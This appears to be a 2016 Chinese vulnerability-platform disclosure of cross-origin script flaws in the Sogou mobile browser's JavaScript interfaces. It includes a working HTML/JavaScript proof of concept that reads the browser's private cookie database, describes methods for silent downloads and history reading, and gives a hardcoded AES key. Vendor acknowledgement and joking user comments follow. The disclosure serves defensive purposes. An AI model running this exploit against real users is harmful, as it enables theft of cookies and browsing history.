搜狗浏览器跨域脚本漏洞

搜狗浏览器的SogouWebView通过addJavascriptInterface添加了两个和js交互的接口，sogoumse_interface和SogouMobileUtils。通过这两个接口可以实现跨域执行js代码，读取本地文件，读取历史记录，自动下载文件等。

sogoumse_interface接口中的createTab方法可以用来创建新标签页。

createTab方法接受3个参数，extName，createProperties，和callbackindex，如下可在新标签页打开乌云。

sogoumse_interface.createTab("ext","{/"url/":/"http://**.**.**.**/",/"active/":true}","");

excuteScript方法可在指定tabid的标签页执行js代码。

excuteScript方法接受4个参数如图。

将arg8转成HashMap，取出code和file的值，读取file的内容，拼接code和file的内容。

拼接字符串，然后调用SogouWebView的loadUrl方法执行该js代码。

可以看到excuteScriptInClosure的前两个参数是字符串，第3个参数是js代码。通过第3个参数就可以在指定标签页执行js代码。

第2个参数就是前面的code加上file的内容，因为它会在指定的标签页执行excuteScriptInClosure这个函数，所以只要定义好这个函数，就可以读取本地文件的内容。

从createTab方法中知道，tabid初始值为-1,每新建一个标签页，tabid的值会加1。

如下POC可在**.**.**.**执行js代码，并且读取浏览器私有目录下的cookie文件。

<script>
 
 function excuteScriptInClosure(a,b,c){
 alert(b);
 }
 
 sogoumse_interface.createTab("ext","{/"url/":/"http://**.**.**.**/",/"active/":true}","");
 
 setTimeout("foo()",3000);
 
 function foo(){
 
 for (var i=0;i<=10;i++){
 
 sogoumse_interface.excuteScript(i+"","ext","{/"code/":/"/",/"file/":/"/data/data/sogou.mobile.explorer/databases/webviewCookiesChromium.db/"}","alert(document.domain)");
 
 };
 }
 
 </script>

SogouMobileUtils接口的downloadFileWithUrlNoDialog方法和getHistorysForFeedback方法可以用来自动下载文件和读取历史记录。

downloadFileWithUrlNoDialog方法接受一个字符串参数作为下载地址。

getHistorysForFeedback方法接受一个整型参数作为获取历史记录的条数。

将url和时间戳用AES加密再base64后返回，密钥为##sogoumse2015##。

解密后的内容

[{"date":"1458394597405","url":"https:////**.**.**.**//?from=1013112a"},{"date":"1458394597325","url":"http:////**.**.**.**//?from=1013112a"},{"date":"1458393661820","url":"https:////**.**.**.**//?tn=93892151_hao_pg"},{"date":"1458393661454","url":"http:////**.**.**.**//"},{"date":"1458393048920","url":"https:////**.**.**.**//?tn=94362887_hao_pg"},{"date":"1458392929779","url":"https:////**.**.**.**//?tn=94026736_hao_pg"},{"date":"1458392868735","url":"https:////**.**.**.**//?tn=95184484_hao_pg"},{"date":"1458392853048","url":"https:////**.**.**.**//?from=844b&vit=fps"},{"date":"1458392802729","url":"https:////**.**.**.**//?tn=90177821_hao_pg"}]

测试版本

POC地址：

http://utf7.ml/t/sogou1.html

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-03-23 22:47

厂商回复：

感谢支持

最新状态：

暂无

1. 2016-03-21 13:09 | 小田哥哥 ( 路人 | Rank:2 漏洞数:1 | 不是所有牛奶都叫特仑苏，不是每个人我都叫...)

   1

   吓得我赶紧换了浏览器

   1# 回复此人

2. 2016-03-21 13:23 | 晓庄 ( 路人 | Rank:29 漏洞数:7 | Make money.)

   1

   吓得我赶紧打开谷歌浏览器

   2# 回复此人

3. 2016-03-21 16:42 | Fremy ( 实习白帽子 | Rank:47 漏洞数:10 | 一个快乐的临时工..)

   1

   老板没想到这么快又挖了个洞..

   3# 回复此人

4. 2016-03-23 23:00 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想，跟咸鱼有什么分别)

   1

   吓得我赶紧换成火狐浏览器

   4# 回复此人

5. 2016-03-24 00:13 | autO_pw ( 实习白帽子 | Rank:81 漏洞数:25 | o_O``)

   1

   吓得我搜狗输入法都卸载了

   5# 回复此人

6. 2016-03-24 09:55 | 小红猪 ( 普通白帽子 | Rank:341 漏洞数:62 | little red pig!)

   1

   吓得我又回到IE浏览器了

   6# 回复此人